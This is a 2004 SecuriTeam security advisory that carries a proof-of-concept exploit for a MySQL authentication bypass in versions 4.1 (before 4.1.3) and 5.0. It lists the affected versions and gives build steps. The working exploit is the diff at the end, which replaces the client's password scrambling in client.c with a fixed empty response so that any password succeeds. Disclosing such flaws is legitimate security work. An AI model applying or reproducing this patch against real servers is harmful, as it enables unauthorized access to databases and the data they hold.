[EXPL] MySQL Authentication Bypass Client Patch Proof Of Concept Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 07/11/04

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Date: 11 Jul 2004 11:58:11 +0200

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      MySQL Authentication Bypass Client Patch Proof Of Concept Exploit
    ------------------------------------------------------------------------

    SUMMARY

    An issue with the authentication mechanism in MySQL has been reported in
    our previous article
    <http://www.securiteam.com/unixfocus/5BP0420DFQ.html> MySQL Authentication
    Scheme Bypass. A proof of concept patch for the MySQL client program is
    provided below which would cause the MySQL client to authenticate
    automatically.

    DETAILS

    Vulnerable Systems:
     * MySQL version 4.1 up to but not including 4.1.3
     * MySQL version 5.0

    Immune Systems:
     * MySQL version 4.1.3

    The diff patch can only be used against the latest alpha version (5.0.0)
    of MySQL. In order to use it, follow the following steps:

     * Download and unpack the MySQL 5.0.0-alpha source
     * Patch the sql-common/client.c file:
        sql-common/ $ patch client.c mysql.authentication.bypass_client.c.diff
     * Configure and Make as usual

    The resultant MySQL client binary can then be used normally but with one
    exception: The user can completely disregard the password and in fact can
    enter any password and it would not matter. The provided diff patch:
    1941,1956c1941,1942
    < if (passwd[0])
    < {
    < if (mysql->server_capabilities & CLIENT_SECURE_CONNECTION)
    < {
    < *end++= SCRAMBLE_LENGTH;
    < scramble(end, mysql->scramble, passwd);
    < end+= SCRAMBLE_LENGTH;
    < }
    < else
    < {
    < scramble_323(end, mysql->scramble, passwd);
    < end+= SCRAMBLE_LENGTH_323 + 1;
    < }
    < }
    < else
    < *end++= '\0'; /* empty password */ 

    ---
>   sprintf(end,"\x14\x00");
>   end+=2;
ADDITIONAL INFORMATION
The information has been provided by  
<mailto:bambam@pineapple.shacknet.nu> bambam.
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